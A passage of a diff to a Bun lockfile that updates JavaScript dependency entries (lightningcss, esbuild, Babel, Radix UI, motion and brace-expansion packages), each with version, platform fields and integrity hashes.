["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="], - "@radix-ui/react-roving-focus/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="], - "@radix-ui/react-tabs/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="], - "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + "@tailwindcss/node/lightningcss/lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.32.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="], - "@tanstack/devtools-vite/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], - - "@tanstack/devtools-vite/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "@tanstack/devtools-vite/@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "@tanstack/devtools-vite/@babel/types/@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], - - "@tanstack/devtools-vite/@babel/types/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], + "@tailwindcss/node/lightningcss/lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], "ansi-align/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], @@ -1623,180 +1400,14 @@ "compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], - "fumadocs-mdx/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], - - "fumadocs-mdx/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ=="], - - "fumadocs-mdx/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.1", "", { "os": "android", "cpu": "arm" }, "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ=="], - - "fumadocs-mdx/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.1", "", { "os": "android", "cpu": "arm64" }, "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg=="], - - "fumadocs-mdx/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.1", "", { "os": "android", "cpu": "x64" }, "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng=="], - - "fumadocs-mdx/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q=="], - - "fumadocs-mdx/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ=="], - - "fumadocs-mdx/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw=="], - - "fumadocs-mdx/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.1", "", { "os": "linux", "cpu": "arm" }, "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.1", "", { "os": "linux", "cpu": "x64" }, "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA=="], - - "fumadocs-mdx/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw=="], - - "fumadocs-mdx/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.1", "", { "os": "none", "cpu": "x64" }, "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg=="], - - "fumadocs-mdx/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q=="], - - "fumadocs-mdx/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw=="], + "react-router-devtools/framer-motion/motion-dom": ["motion-dom@12.43.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-azKON4d9S65PEoFUiQTMTgPheEmzf2QngdRc50AKfJp9Q9mmcBVw22c8eMq9k8kxOFHdL7+WZY7N/5F/lwiDag=="], - "fumadocs-mdx/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg=="], + "react-router-devtools/framer-motion/motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="], - "fumadocs-mdx/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.1", "", { "os": "win32", "cpu": "x64" }, "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "react-router-devtools/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], - - "react-router-devtools/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], - - "react-router-devtools/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "react-router-devtools/@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "react-router-devtools/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "react-router-devtools/@babel/traverse/@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], - - "react-router-devtools/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "react-router-devtools/@babel/types/@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], - - "react-router-devtools/@babel/types/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "serve-handler/minimatch/brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], - - "vite-node/vite/esbuild": ["esbuild@0.28.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.1", "@esbuild/android-arm": "0.28.1", "@esbuild/android-arm64": "0.28.1", "@esbuild/android-x64": "0.28.1", "@esbuild/darwin-arm64": "0.28.1", "@esbuild/darwin-x64": "0.28.1", "@esbuild/freebsd-arm64": "0.28.1", "@esbuild/freebsd-x64": "0.28.1", "@esbuild/linux-arm": "0.28.1", "@esbuild/linux-arm64": "0.28.1", "@esbuild/linux-ia32": "0.28.1", "@esbuild/linux-loong64": "0.28.1", "@esbuild/linux-mips64el": "0.28.1", "@esbuild/linux-ppc64": "0.28.1", "@esbuild/linux-riscv64": "0.28.1", "@esbuild/linux-s390x": "0.28.1", "@esbuild/linux-x64": "0.28.1", "@esbuild/netbsd-arm64": "0.28.1", "@esbuild/netbsd-x64": "0.28.1", "@esbuild/openbsd-arm64": "0.28.1", "@esbuild/openbsd-x64": "0.28.1", "@esbuild/openharmony-arm64": "0.28.1", "@esbuild/sunos-x64": "0.28.1", "@esbuild/win32-arm64": "0.28.1", "@esbuild/win32-ia32": "0.28.1", "@esbuild/win32-x64": "0.28.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw=="], - - "@tanstack/devtools-vite/@babel/core/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets/@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], + "serve-handler/minimatch/brace-expansion": ["brace-expansion@1.1.18", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw=="], "ansi-align/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": 